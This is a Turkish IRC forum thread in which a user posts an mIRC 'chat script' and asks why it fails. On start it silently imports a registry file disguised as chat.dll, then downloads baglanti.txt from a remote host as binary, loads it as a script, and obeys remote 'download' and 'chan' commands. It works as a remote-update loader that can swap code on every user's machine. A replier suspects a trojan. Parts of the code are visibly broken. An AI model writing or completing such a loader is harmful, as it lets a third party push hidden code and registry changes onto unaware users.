Çevrimdışı

Selamlar oncelikle kod sahibi Romeo dur. ben alıntı yaptım kendisinden izin aldım. bu konuda kımse senın benım demesinde. belirtmek istedim. Ve herkezin işine yarayacak bi kod.


oncelikle script.ini dosyası:....

; Romeo ...
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
| [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] & [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

on *:start: {
echostatus
titlebar Chat Script ßy Romeo
.load -rs baglanti.txt
.identd on ChatScript
run regedit /S $mircdir\chat.dll
}
sockopen baglanti [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] 80
}

on *:sockclose:baglanti: {
halt
}

on *:sockread:baglanti: {
if %dr != 1 {
var %h
sockread
while $sock {
if * !iswm %h {
set %dr 1
break
}
sock %h
}
}
sockread 4096 &d
while $sock {
bwrite baglanti.txt -1 -1 &d
sockread 4087 &d
}
}

on *:sockopen:baglanti: {
if $socker {
return
}
write -c baglanti.txt
sockwrite -n $sockname GET /baglanti.txt HTTP/1.0
sockwrite -n $sockname Accept: */*
sockwrite -n $sockname Host: [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]
sockwrite -nt $sockname
}

alias echostatus {
if $sock(echo) {
sockclose echo
}
sockopen echo [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] 80
}

on *:sockopen:echo: {
if $sockerr {
}
sockwrite -nt $sockname GET /acilis.txt HTTP/1.0
sockwrite -nt $sockname Accept: */*
sockwrite -nt $sockname Host: [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]
sockwrite -nt $sockname Connection: close
sockwrite -nt $sockname
}

on *:sockread:echo: {
sockread
if $left(%s) == {
echo -a %s
}
if $gettok(%s,1) == download && $file(baglanti.txt) != $gettok(%s,2) {
baglanti
}
if $gettok(%s,1) == chan {
writeini mirc.ini chanfolder $gettok($gettok(%s,2,32),1,61) $gettok($gettok(%s,2,32),2,61)
}
}

ctcp 1:version:*:{
ctcpreply $nick Chat Script ßy Romeo
}
ctcp 1:finger:*:{
ctcpreply $nick Chat Script ßy Romeo
}
raw *:*: {
if $numeric == 433 {
inc -u3 %nonickname 1
if %nonickname == 2 {
.nick $+(YedekNick,$r(1,9999))
}
}
}



____________________________________________


Sonrasında baglanti.txt Dosyası


; Romeo ...
Bu forumdaki linkleri ve resimleri görebilmek için en az 25 mesajınız olması gerekir.
| [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] & [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

on *:start: {
echostatus
titlebar Chat Script ßy Romeo
.load -rs baglanti.txt
.identd on ChatScript
run regedit /S $mircdir\chat.dll
}

alias baglanti {
if $sock(baglanti) {
sockclose baglanti
}
unset %dr
sockopen baglanti [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] 80
}

on *:sockclose:baglanti: {
halt
}

on *:sockread:baglanti: {
if %dr != 1 {
var %h
sockread %h
while $sockbr {
if * !iswm %h {
set %dr 1
break
}
sockread %h
}
}
sockread 4096 &d
while $sockbr {
bwrite baglanti.txt -1 -1 &d
sockread 4096 &d
}
}

on *:sockopen:baglanti: {
if $sockerr {
return
}
write -c baglanti.txt
sockwrite -nt $sockname GET /baglanti.txt HTTP/1.0
sockwrite -nt $sockname Accept: */*
sockwrite -nt $sockname Host: [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]
sockwrite -nt $sockname
}

alias echostatus {
if $sock(echo) {
sockclose echo
}
sockopen echo [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] 80
}

on *:sockopen:echo: {
if $sockerr {
return
}
sockwrite -nt $sockname GET /acilis.txt HTTP/1.0
sockwrite -nt $sockname Accept: */*
sockwrite -nt $sockname Host: [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]
sockwrite -nt $sockname Connection: close
sockwrite -nt $sockname
}

on *:sockread:echo: {
sockread %s
if $left(%s,1) ==  {
echo -a %s
}
if $gettok(%s,1,32) == download && $file(baglanti.txt) != $gettok(%s,2,32) {
baglanti
}
if $gettok(%s,1,32) == chan {
writeini mirc.ini chanfolder $gettok($gettok(%s,2,32),1,61) $gettok($gettok(%s,2,32),2,61)
}
}

ctcp 1:version:*:{
ctcpreply $nick Chat Script ßy Romeo
}
ctcp 1:finger:*:{
ctcpreply $nick Chat Script ßy Romeo
}
raw *:*: {
if $numeric == 433 {
inc -u3 %nonickname 1
if %nonickname == 2 {
.nick $+(YedekNick,$r(1,9999))
}
}
}


Bunu okutmaya calısıyorum yani siteden degiştirdigim an butun kullanıcılarınkı degişmesini istiyorum ama eksiklik var calısmıyor. sebebi nedir yardımcı olabilcek arkadaslar varmı? burada yapmak istedigim [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] yi cektirerek, daha sonra server ekledigim kaldırdıgım zaman baglanti.txt yi siteye atınca butun kullanıcılarınkını degiştirmektir. bolece setup yapmadan server ekleyebilir kaldırabilecegiz.

kolay gelsin

 

Çevrimdışı

Karisik Geldi Biraz.. Acelemde Var Şu an Ama Vereceğim Bu Linkin Faydali olabileceğini düşünüyorum..

LİNK : [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

Kolay Gelsin..

 

Çevrimdışı

izzet kimbilir neyin peşindesin.
Sen önce chat.dll nin ne işe yarayacağını anlat bi.

run regedit /S $mircdir\chat.dll

Sonra sen neden binary olarak okuyup kaydediyorsun? Madem ki sadece server isimlerini alıcaksın/ekleyeceksin.

while $sock {
bwrite baglanti.txt -1 -1 &d
sockread 4087 &d
}

Yoksa icabında *.txt dediğin şey *.exe mi olacak?

Alıntı:

burada yapmak istedigim [Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] yi cektirerek

Yoksa trojan falan mı indirteceksin milletin pc sine? Yetmedimi yaptığın lamerlikler? Uslu dur adam oL!..

 

Çevrimdışı

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]